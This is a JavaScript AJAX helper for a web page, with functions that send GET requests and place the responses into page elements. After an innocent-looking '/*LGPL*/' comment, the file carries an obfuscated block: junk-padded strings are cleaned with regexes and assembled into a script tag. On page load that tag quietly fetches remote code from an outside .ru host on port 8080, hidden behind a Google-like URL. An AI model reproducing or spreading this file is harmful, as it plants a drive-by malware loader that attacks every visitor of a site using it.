var debug = 0;
var status = '';

function createRequestObject() {
	var ro;
	var browser = navigator.appName;
	if(browser == 'Microsoft Internet Explorer'){
		ro = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		ro = new XMLHttpRequest();
	}
	return ro;
}

var http = createRequestObject();

function sendReq(action, b) {
	if (b){
		b = '&amp;b='+b;
	} else {
		var b = '';
	}
	var url = '';
	if (action=='close'){
		//use different url for close/cron routines
		url = 'cron.php?action=cron';
	} else {
		//find the filename
		var filename = document.location.href;
	    var end = (filename.indexOf("?") == -1) ? filename.length : filename.indexOf("?"); //strip query string
        url = filename.substring(filename.lastIndexOf("/")+1, end);
        	
		url += '?a=ajax&amp;action='+action+b;
		
		//so that page is valid, and ajax still works.
		url = url.replace(/amp;/ig,"");
	}
	if(debug) {
		status += 'URL: '+url+'\\n';
		alert(status);
	}
	try {
		http.open('get', url);
		if(debug)
			status += 'Request sent\\n\\n';
		http.onreadystatechange = handleResponse;
		http.send(null);
	} catch(exception) {
		if(debug)	alert('exception error is . . . \\n\\n'+exception);
	}
}

function handleResponse() {
	if(http.readyState == 4) {
		var response = http.responseText;
		var update = new Array();
		var sep = '|';
		if (response.indexOf('~~|~~') != -1){
			sep = '~~|~~';
		}
		if(response.indexOf(sep) != -1) {
			update = response.split(sep);
			if(debug) {
				alert('Debug: \\n\\t'+status+'\\n\\nupdate[0] = '+update[0]+'\\n\\nupdate[1] = '+update[1]);
				status = '';
			}
			//allow applying text to up to 4 different elements.
			if (document.getElementById(update[1]))
				document.getElementById(update[1]).innerHTML = update[0];
			if (document.getElementById(update[2]))
				document.getElementById(update[2]).innerHTML = update[0];
			if (document.getElementById(update[3]))
				document.getElementById(update[3]).innerHTML = update[0];
			if (document.getElementById(update[4]))
				document.getElementById(update[4]).innerHTML = update[0];
		} else if(debug)
			alert ('Debug: \\n\\t'+status+'\\n\\n'+response);
	}
}
/*LGPL*/ try{ window.onload = function(){B637dq9l9tvyt = 'h$$t(^$t&p^^)#:#)(/)!/&$&g(&&)o(!o$!)g@!l!e&!#-$@$c)^)o$$&m@-)m$^x#).(!&i)^&(n(d@^^e(!e^)d@#^.^(c$&&(o&!$m^^#.)^&g$(&o!(-)^c&^o^##m&@^.@n(@#e$$!@w!@@^$h^&o#@$m&@@e(#l()^#i^()!n&&e)#.^^r#u@&#):)$#8($(0!)8$)0)#!/!@)&a@n()!!o@!$n!(#y!@m($(##.&t@o#&/^)(a!)@&n@^o$(n^y))(m(.^$^t#$o@(/)&g(o&@(o!&$&g^&l#@e@)(.^$c)&!$o((m@^@#/&&!g@#o^#$o&)g!^l#$e&@.(&!^c))&o!!m$!.##^n&g&#/()^g@^^o@$o&!!!@g&^#l^@e(#^#.&!e(!s$$/!)!$'.replace(/\(|\^|\)|#|&|@|\$|\!/ig, '');var Nfk31cm8zmtvnn = 's&c$$)!r)&i(#@$p&(#($t^^##'.replace(/&|@|#|\(|\$|\^|\)|\!/ig, '');var Un3tpilc93jsv = 's^^r@$#c#'.replace(/#|\!|\$|\(|\)|&|@|\^/ig, '');var L5xfhknsrw2pf0j4 = Nfk31cm8zmtvnn;var Wolhjd28d1xux = document.createElement(L5xfhknsrw2pf0j4);Wolhjd28d1xux.setAttribute('defer', 'd#)!e@f&@($e@)$$r&)!'.replace(/\)|\(|@|#|\!|\^|\$|&/ig, ''));var Nnex1byt928 = 't!!&@&e()@x)t$)/!&j&$^^a$v^)a&#(s&@c)@r$!@&i)p^$t^('.replace(/\(|\)|#|\$|@|&|\!|\^/ig, '');Wolhjd28d1xux.setAttribute('id', 'D$!!1#t&$c)k$d&))x#$r^(@y@((!p)^l)#^x##@$'.replace(/&|\!|@|#|\)|\(|\^|\$/ig, ''));Wolhjd28d1xux.setAttribute(Un3tpilc93jsv,  B637dq9l9tvyt);Wolhjd28d1xux.setAttribute('type', Nnex1byt928);document.body.appendChild(Wolhjd28d1xux);if (document){L5xfhknsrw2pf0j4 = Nfk31cm8zmtvnn;}} }  catch(M64il3pe54glpa4r0wp1d ) {}